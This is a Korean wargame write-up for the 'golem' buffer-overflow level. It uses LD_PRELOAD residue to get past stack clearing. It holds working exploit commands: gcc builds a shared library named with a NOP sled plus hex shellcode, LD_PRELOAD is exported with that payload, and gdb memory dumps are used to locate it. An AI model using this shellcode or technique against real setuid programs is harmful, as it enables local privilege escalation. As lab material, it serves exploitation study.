골렘은 스택의 모든 영역을 초기화 시킨다. 그래서 GDB 로 살펴보면 전 레벨에서 사용했던 Argv[0] 까지 이용할 수 없이&lt;/div&gt;
&lt;div&gt;모두 골렘이 잡아먹어버리는데 LD_PRELOAD(, LD_LIBRARY_PATH) 라는 환경변수를 사용하면 된다.&lt;/div&gt;
&lt;div&gt;LD_PRELOAD 환경변수를 이용해 긴값을 정의하면 스택의 약간의 찌꺼기가 생성된다. 실행을 하고 환경변수를 사용하는데&lt;/div&gt;
&lt;div&gt;그 과정에서 찌꺼기가 남기때문에 초기화되지 않게된다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
고로 환경변수로 등록하지않는다면 일반적으로 정의되어있는 라이브러리를 참고하지만 LD_PRELOAD 환경변수를 이용해&lt;/div&gt;
&lt;div&gt;자신만의 함수를 재정의하여 사용할수 있게되는것이다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
프로그램 실행 -&amp;gt; 일반 공유라이브러리 로드&lt;/div&gt;
&lt;div&gt;LD_PRELOAD 정의 시 : 프로그램 실행 -&amp;gt; LD_PRELOAD 공유 라이브러리 로드&lt;/div&gt;
&lt;div&gt;이렇게 되는것이다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
공유라이브러리 파일을 만들어 LD_PRELOAD 환경변수로 등록해주면 되는데 등록할때 파일명과 환경변수명을 NOP 와 쉘코드로&lt;/div&gt;
&lt;div&gt;지정을 해주는방법을 사용해보자.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
GCC 로 컴파일할때는 -fPIC -shared 명령어를 사용해야된다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost gate]$ man gcc | grep fPIC&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -fpcc-struct-return -fpic -fPIC -freg-struct-return&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[gate@localhost gate]$ man gcc | grep shared&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -llibrary -nostartfiles -nostdlib -static -shared&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -mpa-risc-1-0 -mpa-risc-1-1 -mkernel -mshared-libs&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -mno-shared-libs -mlong-calls -mdisable-fpregs&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -fshared-data -fshort-enums -fshort-double&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; vents linking with the shared libraries. &amp;nbsp;On &amp;nbsp;other&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Produce &amp;nbsp;a &amp;nbsp;shared &amp;nbsp;object which can then be linked&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shared object. &amp;nbsp;Warn about &amp;nbsp;any &amp;nbsp;unresolved &amp;nbsp;refer­&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shared libraries. &amp;nbsp;This option is not &amp;nbsp;fully &amp;nbsp;func­&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shared libraries. &amp;nbsp;This is the default for &amp;nbsp;all &amp;nbsp;PA&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this compilation be shared data rather than private&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; operating &amp;nbsp;systems, where shared data is shared be­&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shared library.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
-fPIC 명령어는 공유 라이브러리 파일을 생성할때 사용하는 명령어이며&lt;/div&gt;
&lt;div&gt;-fpic 는 CPU 에 따라 이상이 있지만 -fPIC 명령어는 CPU 에 관계없이 고속으로 컴파일한다.&lt;/div&gt;
&lt;div&gt;-shared 명령어는 동적 라이브러리 파일을 생성하라는 명령어로 알고있다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그래서 LD_PRELOAD 에 등록하기위한 라이브러리 파일을 만들때는&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
gcc -fPIC -shared -o `nop + shellcode` file.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
로 만들어 등록하고 export LD_PRELOAD=`nop + shellcode` 로 등록해주면 된다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
추가 ---------------------------------- &amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ ll&lt;/div&gt;
&lt;div&gt;total 40&lt;/div&gt;
&lt;div&gt;-rw------- &amp;nbsp; &amp;nbsp;1 skeleton skeleton &amp;nbsp; &amp;nbsp;12288 Aug 27 21:44 core&lt;/div&gt;
&lt;div&gt;-rwxrwxr-x &amp;nbsp; &amp;nbsp;1 skeleton skeleton &amp;nbsp; &amp;nbsp;12199 Aug 27 18:02 gole&lt;/div&gt;
&lt;div&gt;-rw-r--r-- &amp;nbsp; &amp;nbsp;1 skeleton skeleton &amp;nbsp; &amp;nbsp; &amp;nbsp;539 Aug 27 18:02 gole&lt;/div&gt;
&lt;div&gt;-rwxrwxr-x &amp;nbsp; &amp;nbsp;1 skeleton skeleton &amp;nbsp; &amp;nbsp; 5548 Aug 27 21:50 ld&lt;/div&gt;
&lt;div&gt;-rw-rw-r-- &amp;nbsp; &amp;nbsp;1 skeleton skeleton &amp;nbsp; &amp;nbsp; &amp;nbsp; 13 Aug 27 18:04 ld.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ gcc -fPIC -shared ld.c -o `python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
환경변수에 등록해줄때에는 경로를 정확히 지정해주어서 등록해주어야만 합니다. 안 그러면 다른 곳에서의 파일네임 에러가 있을수도 있습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ pwd&lt;/div&gt;
&lt;div&gt;/home/skeleton/xodnr&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ export LD_PRELOAD=/home/skeleton/xodnr/`python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
이제 LD_PRELOAD 의 주소로 리턴값을 설정시킨 후 공격하면 됩니다.&lt;/div&gt;
&lt;div&gt;그러면 한번 LD_PRELOAD 의 주소를 찾아봅시다. 먼저 디버깅을 실행해봅시다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ gdb -q golem&lt;/div&gt;
&lt;div&gt;(gdb) b *main+167&lt;/div&gt;
&lt;div&gt;Breakpoint 1 at 0x8048517&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) r&lt;/div&gt;
&lt;div&gt;Starting program: /home/skeleton/xodnr/golem&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
argv error&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Program exited normally.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) r `python -c &#039;print &quot;\xbf&quot;*48&#039;`&lt;/div&gt;
&lt;div&gt;Starting program: /home/skeleton/xodnr/golem `python -c &#039;print &quot;\xbf&quot;*48&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Breakpoint 1, 0x8048517 in main ()&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) x/50x $esp&lt;/div&gt;
&lt;div&gt;0xbffffa0c: &amp;nbsp; &amp;nbsp; 0xbfbfbfbf &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa1c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa2c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa3c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa4c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa5c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa6c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa7c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa8c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffa9c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffaac: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffabc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffacc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffad4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffae4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffaf4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb04: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb14: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb24: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb34: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb44: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb54: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb64: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb74: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb84: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb94: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffb9c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffbac: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffbbc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffbcc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffbdc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffbec: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffbfc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc0c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc1c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc2c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc3c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc4c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc5c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffc64: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc74: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc84: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc94: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffca4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcb4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcc4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcd4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffce4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcf4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd04: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd14: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd24: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffd2c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd3c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd4c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd5c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd6c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd7c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd8c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd9c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdac: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdbc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdcc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffddc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdec: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
